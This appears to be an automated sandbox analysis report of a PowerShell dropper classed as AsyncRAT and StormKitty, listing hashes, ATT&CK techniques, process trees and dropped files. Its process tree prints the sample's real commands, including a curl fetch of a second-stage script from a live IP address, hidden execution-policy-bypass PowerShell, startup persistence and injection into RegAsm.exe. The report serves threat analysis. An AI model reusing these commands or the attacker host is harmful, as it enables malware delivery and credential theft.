asyncrat | b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff

General

Target

sfqbr.ps1
Size

21KB
MD5

524fca1eea0f55f1ad6281325664dcb4
SHA1

fa39a3bb823909c0294804a32303378ac25e0492
SHA256

b62079be1556d96865a31929952afece7835218e748a8bb87aa9b6a662e25bff
SHA512

a8002af2535c7fa629b7375943ade44f36fe0b76ccc324ab35d09e96931f7e5fc82c88787a423ae96ad58d2683f870693edb6f5cbafdd4b6576f3d1a09ff24b2
SSDEEP

384:zIAXUpjxl+K++gtu0P1GUK++qUpjxl6Upjxl+mATyK++IcmATpPsPWmATEP9rPva:zIAMVl+7+gbh7+3VlnVliTy7+IITJqKh

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/3868-51-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	964	powershell.exe
10	4204	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
964	powershell.exe
4204	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\App.url	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4204 set thread context of 3868	4204	powershell.exe	101

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
964	powershell.exe
964	powershell.exe
964	powershell.exe
964	powershell.exe
4204	powershell.exe
4204	powershell.exe
4204	powershell.exe
4204	powershell.exe
3868	RegAsm.exe
3868	RegAsm.exe
3868	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	964	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	3868	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3868	RegAsm.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 964 wrote to memory of 3068	964	powershell.exe	86
PID 964 wrote to memory of 3068	964	powershell.exe	86
PID 3068 wrote to memory of 3436	3068	cmd.exe	87
PID 3068 wrote to memory of 3436	3068	cmd.exe	87
PID 3068 wrote to memory of 4204	3068	cmd.exe	88
PID 3068 wrote to memory of 4204	3068	cmd.exe	88
PID 3436 wrote to memory of 4068	3436	cmd.exe	89
PID 3436 wrote to memory of 4068	3436	cmd.exe	89
PID 4204 wrote to memory of 3204	4204	powershell.exe	90
PID 4204 wrote to memory of 3204	4204	powershell.exe	90
PID 3204 wrote to memory of 1932	3204	csc.exe	91
PID 3204 wrote to memory of 1932	3204	csc.exe	91
PID 4204 wrote to memory of 4940	4204	powershell.exe	100
PID 4204 wrote to memory of 4940	4204	powershell.exe	100
PID 4204 wrote to memory of 4940	4204	powershell.exe	100
PID 4204 wrote to memory of 3868	4204	powershell.exe	101
PID 4204 wrote to memory of 3868	4204	powershell.exe	101
PID 4204 wrote to memory of 3868	4204	powershell.exe	101
PID 4204 wrote to memory of 3868	4204	powershell.exe	101
PID 4204 wrote to memory of 3868	4204	powershell.exe	101
PID 4204 wrote to memory of 3868	4204	powershell.exe	101
PID 4204 wrote to memory of 3868	4204	powershell.exe	101
PID 4204 wrote to memory of 3868	4204	powershell.exe	101

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\sfqbr.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:964
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Pack.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3068
- - C:\Windows\system32\cmd.exe
    cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3436
  - - C:\Windows\system32\curl.exe
      curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1
      4⤵
      PID:4068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4204
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gvpiisla\gvpiisla.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3204
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA45E.tmp" "c:\Users\Admin\AppData\Local\Temp\gvpiisla\CSC377F0B6EB5714E3F98AFD823336B5146.TMP"
        5⤵
        
        PID:1932
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:4940
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:3868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA45E.tmp

Filesize
1KB

MD5
2335c46fddbcb32fd0bf589f64513fd6

SHA1
3f7a096b2038624703694da1f68edf8fc2b1fc6d

SHA256
6e210a3033e5880633ae2538fc5b89298017d1ceaaf0653c2b4d3d4739ed78ea

SHA512
35825fd0b6242ae4b41780dfa447312ece6f67e0e7404ac33ad5ed85a8ff842d1d24441b46756ed2e44fe65fa2ccddbd8f109eeb1e8f7d948105763a22945e04

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfstyn0x.jlf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gvpiisla\gvpiisla.dll

Filesize
9KB

MD5
be186fcd638fcf5c7529f9981688b8bf

SHA1
9cf1438c1cb03097a77097d93c4f1a1d4cac4001

SHA256
ac5517306a109b337c3faa7a11198bed8caccc0af9bf221c6020dd3e5ccdd439

SHA512
963b4cf977eec2cd658dc15041878d0122d4f29b45c32c8b8a6fe01c2a4c2ddb4661db73edff3809ca8252cba6db3bcf72ff067427a55e625cc1f11c5d9fe1e5

Download Submit
C:\Windows\Temp\Pack.bat

Filesize
5KB

MD5
380f7a432a6528223c05a2d48990827c

SHA1
ea7d06b5acda2f1afacd348fe64454fadaa4ece4

SHA256
cb6aaa288e92a75b77120f5996cddacf5374c5fcc3679f942554d52f740149c6

SHA512
cf16e64182cab9f2ecf9ae4351be69d0bce0833973f2071df76e1061cda9128c54392ffde006c64d41f4c26d3086cdcc85ea0410ecb29887f72f40db33a0c803

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gvpiisla\CSC377F0B6EB5714E3F98AFD823336B5146.TMP

Filesize
652B

MD5
e26920016d175eb0e3b86adc7dbd38b0

SHA1
df307bfc7ed6c6c84f4c813a36f000b267f2e957

SHA256
847aa58c6bbe142db772938201e8c69043c3f55210176d4833d7991f90750092

SHA512
6765d2a525f68e4e013af24fed17833443735f7c599c7d48b2f3725747de5a893a1f4ed9ea7df4122a9d606cdbb22884e35696362a13455d642221d1b9a5af14

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gvpiisla\gvpiisla.0.cs

Filesize
10KB

MD5
4cffc8d6fe3870e0046b7be9bff146aa

SHA1
aee44d9772c5392c5da7237ba0090cbadfd4eeac

SHA256
e6518d89d7c8f761a277fe634fed0c41a4deee7c8d5cd4eaca503d88f247ec83

SHA512
42fa00f7ce8fb9f77f1c7b3b140bb6708d01609bbc77514e86d34c1ed82b2d6a0a4f4775674043c3e4a486e4e19f3dcf3c0d33f73fcd79e75126b2f42fac136a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gvpiisla\gvpiisla.cmdline

Filesize
204B

MD5
c0ad9b6512c68c4cacb371589a310d9c

SHA1
6256fad8c75e3ee5fd257e8d7db3d4b96da7b8f8

SHA256
4212db676df0d84415b0e208184c3195ec2562b0161b4376c422d7e7d1fd8600

SHA512
e226132493f354c1acc0d08c5904c14683069ff3b2091596b097b5a1da11e61dd85f27e5173725251ab1927de89fd715e1323d45353fcae81b78ce3402f9d8cc

Download Submit
memory/964-19-0x00007FF8BE710000-0x00007FF8BF1D1000-memory.dmp

Filesize
10.8MB

Download
memory/964-0-0x00007FF8BE713000-0x00007FF8BE715000-memory.dmp

Filesize
8KB

Download
memory/964-12-0x00007FF8BE710000-0x00007FF8BF1D1000-memory.dmp

Filesize
10.8MB

Download
memory/964-11-0x00007FF8BE710000-0x00007FF8BF1D1000-memory.dmp

Filesize
10.8MB

Download
memory/964-1-0x000001D5B9BE0000-0x000001D5B9C02000-memory.dmp

Filesize
136KB

Download
memory/3868-51-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/3868-62-0x0000000006F30000-0x0000000007284000-memory.dmp

Filesize
3.3MB

Download
memory/3868-61-0x0000000006F00000-0x0000000006F22000-memory.dmp

Filesize
136KB

Download
memory/3868-60-0x0000000006B50000-0x0000000006BB6000-memory.dmp

Filesize
408KB

Download
memory/3868-59-0x0000000006AB0000-0x0000000006B4C000-memory.dmp

Filesize
624KB

Download
memory/3868-56-0x0000000005A30000-0x0000000005A3A000-memory.dmp

Filesize
40KB

Download
memory/3868-55-0x0000000005AD0000-0x0000000005B62000-memory.dmp

Filesize
584KB

Download
memory/3868-54-0x0000000005CE0000-0x0000000006284000-memory.dmp

Filesize
5.6MB

Download
memory/4204-20-0x00007FF8BE710000-0x00007FF8BF1D1000-memory.dmp

Filesize
10.8MB

Download
memory/4204-53-0x00007FF8BE710000-0x00007FF8BF1D1000-memory.dmp

Filesize
10.8MB

Download
memory/4204-49-0x00007FF8BE710000-0x00007FF8BF1D1000-memory.dmp

Filesize
10.8MB

Download
memory/4204-47-0x000001D1742E0000-0x000001D1742E8000-memory.dmp

Filesize
32KB

Download
memory/4204-21-0x00007FF8BE710000-0x00007FF8BF1D1000-memory.dmp

Filesize
10.8MB

Download
memory/4204-34-0x000001D1742D0000-0x000001D1742DE000-memory.dmp

Filesize
56KB

Download
memory/4204-33-0x000001D1745B0000-0x000001D174626000-memory.dmp

Filesize
472KB

Download
memory/4204-32-0x000001D174560000-0x000001D1745A4000-memory.dmp

Filesize
272KB

Download
memory/4204-31-0x00007FF8BE710000-0x00007FF8BF1D1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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